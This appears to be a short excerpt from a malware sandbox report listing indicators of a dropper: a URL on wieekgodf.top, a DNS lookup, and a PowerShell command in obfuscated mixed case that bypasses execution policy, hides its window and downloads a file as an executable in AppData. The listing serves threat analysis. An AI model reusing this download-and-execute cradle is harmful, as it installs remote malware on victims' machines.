Technical Information
- http://www.wieekgodf.top/read.php?f=1.gif as %appdata%.exe
- '<SYSTEM32>\cmd.exe' /C "pOweRsHELL.exe -eXECutIOnPOliCy bYpAss -NopROfIlE -winDOWstYLE hIdDEN (NEw-objecT SYsteM.NEt.WEBClieNT).doWnLOaDfiLe('http://www.wieekgodf.top/read.php?f=1.gif','%AppdATA%.EXE');St...
- DNS ASK wi###godf.top
- '<SYSTEM32>\cmd.exe' /C "pOweRsHELL.exe -eXECutIOnPOliCy bYpAss -NopROfIlE -winDOWstYLE hIdDEN (NEw-objecT SYsteM.NEt.WEBClieNT).doWnLOaDfiLe('http://www.wieekgodf.top/read.php?f=1.gif','%AppdATA%.EXE');St...' (with hidden window)